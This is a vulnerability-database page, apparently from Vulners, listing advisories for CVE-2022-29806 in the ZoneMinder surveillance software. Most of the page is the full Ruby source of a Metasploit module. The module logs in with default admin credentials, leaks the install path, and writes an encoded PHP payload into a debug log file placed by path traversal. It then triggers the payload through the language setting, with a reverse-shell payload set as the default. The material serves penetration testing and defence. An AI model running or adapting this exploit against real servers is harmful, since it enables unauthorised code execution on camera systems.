| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| ZoneMinder Language Settings Remote Code Execution Exploit | 6 May 202200:00 | – | zdt | |
| Exploit for Path Traversal in Zoneminder | 28 Apr 202515:20 | – | githubexploit | |
| Exploit for Path Traversal in Zoneminder | 28 Apr 202515:20 | – | githubexploit | |
| CVE-2022-29806 | 26 Apr 202204:15 | – | attackerkb | |
| CVE-2022-29806 | 26 Apr 202204:15 | – | alpinelinux | |
| CVE-2022-29806 | 26 Apr 202207:50 | – | circl | |
| ZoneMinder 路径遍历漏洞 | 26 Apr 202200:00 | – | cnnvd | |
| ZoneMinder Remote Code Execution Vulnerability | 28 Apr 202200:00 | – | cnvd | |
| Web Servers Malicious HTTP Request Directory Traversal (CVE-2005-3299; CVE-2014-7174; CVE-2022-1476; CVE-2022-29806) | 12 Aug 201300:00 | – | checkpoint_advisories | |
| CVE-2022-29806 | 26 Apr 202203:15 | – | cve |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ZoneMinder Language Settings Remote Code Execution',
'Description' => %q{
This module exploits arbitrary file write in debug log file option
chained with a path traversal in language settings that leads to a
remote code execution in ZoneMinder surveillance software versions
before 1.36.13 and before 1.37.11
},
'License' => MSF_LICENSE,
'Author' => [ 'krastanoel' ], # Discovery and exploit
'References' => [
[ 'CVE', '2022-29806' ],
[ 'URL', 'https://krastanoel.com/cve/2022-29806']
],
'Platform' => ['php'],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2022-04-27',
'DefaultTarget' => 0,
'DefaultOptions' => {
'Payload' => 'php/reverse_perl',
'Encoder' => 'php/base64'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
])
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
if res.body =~ /ZoneMinder/
csrf_magic = get_csrf_magic(res)
res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET',
'keep_cookies' => true
)
else
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end
res.body.match(/v(1.\d+.\d+)/)
version = Regexp.last_match(1)
unless version
return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
end
version = Rex::Version.new(version)
return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')
Exploit::CheckCode::Safe("Version Detected: #{version}")
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown('Could not connect to the web service')
end
def exploit
unless datastore['AutoCheck']
cookie_jar.clear
res = authenticate
fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}
end
vprint_status('Leak installation directory path')
random_path = rand_text_alphanumeric(6..15)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { 'view' => random_path }
)
fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { 'view' => 'options' }
)
csrf_magic = get_csrf_magic(res)
current_lang = res&.get_html_document&.at(
'select[@name="newConfig[ZM_LANG_DEFAULT]"]
option[@selected="selected"]'
)&.text
fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?
data = 'view=request&request=log&task=query&limit=10'
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?
res.body.match(/(\{"result":.*})/)
request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access
if request_log.key?(:rows) # Check for latest version key first v1.36.x
request_log_key = 'rows'
elsif request_log.key?(:logs)
request_log_key = 'logs'
else
fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')
end
request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first
if request_log
path = request_log['File'].split('/')[0..-2].join('/')
vprint_good("Path: #{path}")
else
fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')
end
fname = "#{rand_text_alphanumeric(6..15)}.php"
traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join
shell = "#{traverse_path}tmp/#{fname}"
data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302
vprint_good("Shell: #{shell}")
p = %(<?php #{payload.encoded} ?>)
data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res
result = JSON.parse(res.body)['result']
fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'
# trigger the shell
lang = shell.gsub(/\.php/, '')
data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302
# cleanup
data = Rack::Utils.parse_nested_query(data)
data['newConfig']['ZM_LANG_DEFAULT'] = current_lang
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_query,
'keep_cookies' => true
)
vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200
data['tab'] = 'logging'
data['newConfig']['ZM_LOG_DEBUG'] = 0
data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_query,
'keep_cookies' => true
)
vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
private
def get_csrf_magic(res)
return if res.nil?
res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
end
def authenticate(csrf_magic = nil)
username = datastore['USERNAME']
password = datastore['PASSWORD']
data = "action=login&view=login&username=#{username}&password=#{password}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'data' => data.to_s,
'keep_cookies' => true
})
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation